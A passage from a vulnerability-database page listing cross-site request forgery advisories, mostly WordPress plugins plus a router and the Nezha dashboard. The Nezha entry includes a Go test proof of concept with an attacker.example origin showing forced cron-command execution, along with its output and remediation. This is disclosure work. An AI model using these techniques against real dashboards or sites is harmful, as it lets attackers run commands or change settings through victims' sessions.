Common Weakness Enumeration

CWE-352

Allowed

Cross-Site Request Forgery (CSRF)

Abstraction: Compound · Status: Stable

API response cwe.mitre.org

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

14358 vulnerabilities reference this CWE, most recent first.

GHSA-8QFR-9RMH-3HFC

Vulnerability from github – Published: 2022-06-21 00:00 – Updated: 2022-06-29 00:00
VLAI
Details

The Seamless Donations WordPress plugin before 5.1.9 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-1610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-20T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Seamless Donations WordPress plugin before 5.1.9 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack",
  "id": "GHSA-8qfr-9rmh-3hfc",
  "modified": "2022-06-29T00:00:24Z",
  "published": "2022-06-21T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1610"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/88014da6-6179-4527-8f67-fbb610804d93"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QHJ-4F8C-J8QG

Vulnerability from github – Published: 2026-06-10 13:39 – Updated: 2026-06-26 21:28
VLAI
Summary
Nezha has cross-site GET request that can trigger stored cron commands on a victim's agents
Details

Summary

The dashboard exposes the cron manual-trigger action as an authenticated GET /api/v1/cron/:id/manual endpoint. Dashboard JWTs are sent in the nz-jwt cookie and configured with SameSite=Lax, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL.

If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.

Details

Source-to-sink chain:

  1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) at cmd/dashboard/controller/controller.go:131-134.
  2. JWT auth is cookie-enabled: CookieName: "nz-jwt", SendCookie: true, CookieSameSite: http.SameSiteLaxMode, and TokenLookup: "header: Authorization, query: token, cookie: nz-jwt" at cmd/dashboard/controller/jwt.go:23-46.
  3. The handler parses the route ID, loads the cron object, checks only normal object ownership via cr.HasPermission(c), then calls singleton.ManualTrigger(cr) at cmd/dashboard/controller/cron.go:170-187.
  4. ManualTrigger immediately runs CronTrigger(cr)() at service/singleton/crontask.go:249-250.
  5. CronTrigger dispatches the stored command to online eligible agents via s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand}) at service/singleton/crontask.go:289-304 after the owner/server check in cronCanSendToServer (service/singleton/crontask.go:315-317).
  6. Object authorization is user ownership/admin only: Common.HasPermission returns true for admins or matching UserID at model/common.go:44-56. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.

False-positive screening:

  • The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.
  • The route is authenticated, and the unauthenticated negative control failed with ApiErrorUnauthorized and dispatched no task.
  • SameSite=Lax mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.
  • The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.
  • The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check.

PoC

Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:

  1. Negative control: cross-site-style GET without the nz-jwt cookie. Expected result: response contains ApiErrorUnauthorized; zero tasks are dispatched.
  2. Positive proof: cross-site-style GET with the victim's nz-jwt cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with Id=7, Type=model.TaskTypeCommand, and Data="touch /tmp/should-not-run".

Command run from a clean checkout of the tested tree:

cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs

var SwaggerInfo = struct {
    Version string
}{Version: "test"}
EOF

cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller

import (
    "context"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "strings"
    "testing"
    "time"

    "github.com/gin-gonic/gin"
    "github.com/patrickmn/go-cache"
    "google.golang.org/grpc/metadata"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"

    "github.com/nezhahq/nezha/model"
    "github.com/nezhahq/nezha/pkg/i18n"
    pb "github.com/nezhahq/nezha/proto"
    "github.com/nezhahq/nezha/service/singleton"
)

type capturedTaskStream struct { tasks []*pb.Task }

func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }

func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
    gin.SetMode(gin.TestMode)
    db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
    if err != nil { t.Fatal(err) }
    if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
    if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
    if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }

    singleton.DB = db
    singleton.Loc = time.UTC
    singleton.Cache = cache.New(time.Minute, time.Minute)
    singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
    singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
    singleton.ServerShared = singleton.NewServerClass()
    singleton.CronShared = singleton.NewCronClass()
    defer singleton.CronShared.Stop()

    stream := &capturedTaskStream{}
    server, ok := singleton.ServerShared.Get(200)
    if !ok { t.Fatal("server missing from singleton") }
    server.TaskStream = stream

    cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
    singleton.CronShared.Update(cronTask)

    authMiddleware := initParams()
    if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
    token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
    if err != nil { t.Fatal(err) }

    r := gin.New()
    r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
    auth := r.Group("", authMiddleware.MiddlewareFunc())
    auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))

    wNoCookie := httptest.NewRecorder()
    reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
    reqNoCookie.Header.Set("Origin", "https://attacker.example")
    reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
    r.ServeHTTP(wNoCookie, reqNoCookie)
    if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
    if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }

    w := httptest.NewRecorder()
    req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
    req.Header.Set("Origin", "https://attacker.example")
    req.Header.Set("Sec-Fetch-Site", "cross-site")
    req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
    r.ServeHTTP(w, req)

    var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
    if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
    if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
    if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
    dispatched := stream.tasks[0]
    if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF

cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
  "Replace": {
    "/path/to/nezha/cmd/dashboard/docs/docs.go": "/tmp/nezha-docs-stub.go",
    "/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go": "/tmp/nezha-cron-csrf-poc-test.go"
  }
}
EOF
# Replace /path/to/nezha above with the local checkout path, then run:
go test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v

Observed output in this environment:

=== RUN   TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET
--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)
PASS
ok      github.com/nezhahq/nezha/cmd/dashboard/controller   0.019s

The -vet=off flag was only needed because this checkout lacks the generated cmd/dashboard/docs directory and Go vet still tries to chdir into the overlay-created package directory. The overlay includes a minimal docs package stub so the controller package can compile without generating Swagger files.

Cleanup:

rm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json

Impact

A remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user's browser navigate to /api/v1/cron/<known-id>/manual. If that cron task dispatches an agent command, the command is sent to the victim's online agent without the victim intentionally clicking the manual trigger in the dashboard.

Security impact is integrity and availability:

  • Integrity: forced execution of a stored command on victim-controlled agents.
  • Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.
  • Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.

Suggested remediation

  • Make manual cron triggering a non-idempotent method such as POST /api/v1/cron/:id/manual instead of GET.
  • Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with Origin/Referer and Fetch Metadata validation.
  • Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.
  • Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.
  • If frontend compatibility requires cookies, keep SameSite=Lax or stricter, but do not rely on it to protect state-changing GET routes.
Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T13:39:21Z",
    "nvd_published_at": "2026-06-12T22:16:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe dashboard exposes the cron manual-trigger action as an authenticated `GET /api/v1/cron/:id/manual` endpoint. Dashboard JWTs are sent in the `nz-jwt` cookie and configured with `SameSite=Lax`, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim\u0027s browser to the manual-trigger URL.\n\nIf the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.\n\n### Details\nSource-to-sink chain:\n\n1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: `auth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))` at `cmd/dashboard/controller/controller.go:131-134`.\n2. JWT auth is cookie-enabled: `CookieName: \"nz-jwt\"`, `SendCookie: true`, `CookieSameSite: http.SameSiteLaxMode`, and `TokenLookup: \"header: Authorization, query: token, cookie: nz-jwt\"` at `cmd/dashboard/controller/jwt.go:23-46`.\n3. The handler parses the route ID, loads the cron object, checks only normal object ownership via `cr.HasPermission(c)`, then calls `singleton.ManualTrigger(cr)` at `cmd/dashboard/controller/cron.go:170-187`.\n4. `ManualTrigger` immediately runs `CronTrigger(cr)()` at `service/singleton/crontask.go:249-250`.\n5. `CronTrigger` dispatches the stored command to online eligible agents via `s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})` at `service/singleton/crontask.go:289-304` after the owner/server check in `cronCanSendToServer` (`service/singleton/crontask.go:315-317`).\n6. Object authorization is user ownership/admin only: `Common.HasPermission` returns true for admins or matching `UserID` at `model/common.go:44-56`. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.\n\nFalse-positive screening:\n\n- The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.\n- The route is authenticated, and the unauthenticated negative control failed with `ApiErrorUnauthorized` and dispatched no task.\n- `SameSite=Lax` mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.\n- The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.\n- The permission check still limits the triggered task to the victim\u0027s own task or an admin\u0027s task, but CSRF abuses the victim\u0027s browser/session to satisfy that check.\n\n### PoC\n\nSafe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text `touch /tmp/should-not-run`. It then performs two requests:\n\n1. Negative control: cross-site-style GET without the `nz-jwt` cookie. Expected result: response contains `ApiErrorUnauthorized`; zero tasks are dispatched.\n2. Positive proof: cross-site-style GET with the victim\u0027s `nz-jwt` cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with `Id=7`, `Type=model.TaskTypeCommand`, and `Data=\"touch /tmp/should-not-run\"`.\n\nCommand run from a clean checkout of the tested tree:\n\n```bash\ncat \u003e/tmp/nezha-docs-stub.go \u003c\u003c\u0027EOF\u0027\npackage docs\n\nvar SwaggerInfo = struct {\n\tVersion string\n}{Version: \"test\"}\nEOF\n\ncat \u003e/tmp/nezha-cron-csrf-poc-test.go \u003c\u003c\u0027EOF\u0027\npackage controller\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/patrickmn/go-cache\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"gorm.io/driver/sqlite\"\n\t\"gorm.io/gorm\"\n\n\t\"github.com/nezhahq/nezha/model\"\n\t\"github.com/nezhahq/nezha/pkg/i18n\"\n\tpb \"github.com/nezhahq/nezha/proto\"\n\t\"github.com/nezhahq/nezha/service/singleton\"\n)\n\ntype capturedTaskStream struct { tasks []*pb.Task }\n\nfunc (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }\nfunc (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }\nfunc (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SetTrailer(metadata.MD) {}\nfunc (s *capturedTaskStream) Context() context.Context { return context.Background() }\nfunc (s *capturedTaskStream) SendMsg(any) error { return nil }\nfunc (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }\n\nfunc TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {\n\tgin.SetMode(gin.TestMode)\n\tdb, err := gorm.Open(sqlite.Open(\"file:cron_csrf_poc?mode=memory\u0026cache=shared\"), \u0026gorm.Config{})\n\tif err != nil { t.Fatal(err) }\n\tif err := db.AutoMigrate(\u0026model.User{}, \u0026model.Server{}, \u0026model.Cron{}); err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.User{Common: model.Common{ID: 100}, Username: \"victim\", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: \"victim-agent\"}).Error; err != nil { t.Fatal(err) }\n\n\tsingleton.DB = db\n\tsingleton.Loc = time.UTC\n\tsingleton.Cache = cache.New(time.Minute, time.Minute)\n\tsingleton.Localizer = i18n.NewLocalizer(\"en_US\", \"nezha\", \"translations\", i18n.Translations)\n\tsingleton.Conf = \u0026singleton.ConfigClass{Config: \u0026model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: \"test\"}, JWTSecretKey: \"test-secret-for-cron-csrf-poc\", JWTTimeout: 1}}\n\tsingleton.ServerShared = singleton.NewServerClass()\n\tsingleton.CronShared = singleton.NewCronClass()\n\tdefer singleton.CronShared.Stop()\n\n\tstream := \u0026capturedTaskStream{}\n\tserver, ok := singleton.ServerShared.Get(200)\n\tif !ok { t.Fatal(\"server missing from singleton\") }\n\tserver.TaskStream = stream\n\n\tcronTask := \u0026model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: \"victim cron\", TaskType: model.CronTypeCronTask, Command: \"touch /tmp/should-not-run\", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}\n\tsingleton.CronShared.Update(cronTask)\n\n\tauthMiddleware := initParams()\n\tif err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }\n\ttoken, _, err := authMiddleware.TokenGenerator(map[string]interface{}{\"user_id\": \"100\", \"ip\": \"203.0.113.10\"})\n\tif err != nil { t.Fatal(err) }\n\n\tr := gin.New()\n\tr.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, \"203.0.113.10\"); c.Next() })\n\tauth := r.Group(\"\", authMiddleware.MiddlewareFunc())\n\tauth.GET(\"/api/v1/cron/:id/manual\", commonHandler(manualTriggerCron))\n\n\twNoCookie := httptest.NewRecorder()\n\treqNoCookie := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treqNoCookie.Header.Set(\"Origin\", \"https://attacker.example\")\n\treqNoCookie.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\tr.ServeHTTP(wNoCookie, reqNoCookie)\n\tif !strings.Contains(wNoCookie.Body.String(), \"ApiErrorUnauthorized\") { t.Fatalf(\"expected unauthenticated control to fail, got status=%d body=%s\", wNoCookie.Code, wNoCookie.Body.String()) }\n\tif len(stream.tasks) != 0 { t.Fatalf(\"unauthenticated control dispatched %d task(s)\", len(stream.tasks)) }\n\n\tw := httptest.NewRecorder()\n\treq := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treq.Header.Set(\"Origin\", \"https://attacker.example\")\n\treq.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\treq.AddCookie(\u0026http.Cookie{Name: \"nz-jwt\", Value: token})\n\tr.ServeHTTP(w, req)\n\n\tvar resp struct { Success bool `json:\"success\"`; Error string `json:\"error\"` }\n\tif err := json.Unmarshal(w.Body.Bytes(), \u0026resp); err != nil { t.Fatalf(\"decode response: %v body=%s\", err, w.Body.String()) }\n\tif !resp.Success { t.Fatalf(\"manual trigger failed: status=%d body=%s\", w.Code, w.Body.String()) }\n\tif len(stream.tasks) != 1 { t.Fatalf(\"expected one dispatched task, got %d\", len(stream.tasks)) }\n\tdispatched := stream.tasks[0]\n\tif dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != \"touch /tmp/should-not-run\" { t.Fatalf(\"unexpected dispatched task: id=%d type=%d data=%q\", dispatched.Id, dispatched.Type, dispatched.Data) }\n}\nEOF\n\ncat \u003e/tmp/nezha-overlay-cron-csrf.json \u003c\u003c\u0027EOF\u0027\n{\n  \"Replace\": {\n    \"/path/to/nezha/cmd/dashboard/docs/docs.go\": \"/tmp/nezha-docs-stub.go\",\n    \"/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go\": \"/tmp/nezha-cron-csrf-poc-test.go\"\n  }\n}\nEOF\n# Replace /path/to/nezha above with the local checkout path, then run:\ngo test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v\n```\n\nObserved output in this environment:\n\n```text\n=== RUN   TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET\n--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)\nPASS\nok  \tgithub.com/nezhahq/nezha/cmd/dashboard/controller\t0.019s\n```\n\nThe `-vet=off` flag was only needed because this checkout lacks the generated `cmd/dashboard/docs` directory and Go vet still tries to `chdir` into the overlay-created package directory. The overlay includes a minimal `docs` package stub so the controller package can compile without generating Swagger files.\n\nCleanup:\n\n```bash\nrm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json\n```\n\n### Impact\n\nA remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user\u0027s browser navigate to `/api/v1/cron/\u003cknown-id\u003e/manual`. If that cron task dispatches an agent command, the command is sent to the victim\u0027s online agent without the victim intentionally clicking the manual trigger in the dashboard.\n\nSecurity impact is integrity and availability:\n\n- Integrity: forced execution of a stored command on victim-controlled agents.\n- Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.\n- Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.\n\n### Suggested remediation\n\n- Make manual cron triggering a non-idempotent method such as `POST /api/v1/cron/:id/manual` instead of GET.\n- Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with `Origin`/`Referer` and Fetch Metadata validation.\n- Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.\n- Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.\n- If frontend compatibility requires cookies, keep `SameSite=Lax` or stricter, but do not rely on it to protect state-changing GET routes.",
  "id": "GHSA-8qhj-4f8c-j8qg",
  "modified": "2026-06-26T21:28:58Z",
  "published": "2026-06-10T13:39:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-8qhj-4f8c-j8qg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49396"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha has cross-site GET request that can trigger stored cron commands on a victim\u0027s agents"
}

GHSA-8QJ3-MMMQ-GVC7

Vulnerability from github – Published: 2022-05-17 04:43 – Updated: 2022-05-17 04:43
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in Beetel 450TC2 Router with firmware TX6-0Q-005_retail allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via the uiViewTools_Password and uiViewTools_PasswordConfirm parameters to Forms/tools_admin_1.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-3792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-20T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in Beetel 450TC2 Router with firmware TX6-0Q-005_retail allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via the uiViewTools_Password and uiViewTools_PasswordConfirm parameters to Forms/tools_admin_1.",
  "id": "GHSA-8qj3-mmmq-gvc7",
  "modified": "2022-05-17T04:43:13Z",
  "published": "2022-05-17T04:43:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3792"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/show/osvdb/106468"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/126426/Beetel-450TC2-Cross-Site-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/58365"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/33129"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8QJ6-J7FV-PC7X

Vulnerability from github – Published: 2023-04-06 21:30 – Updated: 2023-04-13 15:30
VLAI
Details

The WP Fastest Cache plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.2. This is due to missing or incorrect nonce validation on the deleteCacheToolbar function. This makes it possible for unauthenticated attackers to perform cache deletion via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-1926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-06T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The WP Fastest Cache plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.2. This is due to missing or incorrect nonce validation on the deleteCacheToolbar function. This makes it possible for unauthenticated attackers to perform cache deletion via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
  "id": "GHSA-8qj6-j7fv-pc7x",
  "modified": "2023-04-13T15:30:35Z",
  "published": "2023-04-06T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1926"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2893158/wp-fastest-cache/trunk/wpFastestCache.php?contextall=1"
    },
    {
      "type": "WEB",
      "url": "https://wordfence.com"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b793a4cb-3130-428e-9b61-8ce29fcdaf70?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QM3-XQ92-849M

Vulnerability from github – Published: 2026-04-22 09:31 – Updated: 2026-04-22 09:31
VLAI
Details

The TextP2P Texting Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.7. This is due to missing nonce validation in the imTextP2POptionPage() function which processes settings updates. The form at line 314 does not include a wp_nonce_field(), and the POST handler at line 7 does not call check_admin_referer() or wp_verify_nonce() before processing settings changes. This makes it possible for unauthenticated attackers to update all plugin settings including chat widget titles, messages, API credentials, colors, and reCAPTCHA configuration via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T09:16:24Z",
    "severity": "MODERATE"
  },
  "details": "The TextP2P Texting Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.7. This is due to missing nonce validation in the imTextP2POptionPage() function which processes settings updates. The form at line 314 does not include a wp_nonce_field(), and the POST handler at line 7 does not call check_admin_referer() or wp_verify_nonce() before processing settings changes. This makes it possible for unauthenticated attackers to update all plugin settings including chat widget titles, messages, API credentials, colors, and reCAPTCHA configuration via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.",
  "id": "GHSA-8qm3-xq92-849m",
  "modified": "2026-04-22T09:31:33Z",
  "published": "2026-04-22T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4133"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L299"
    },
    {
      "type": "WEB",
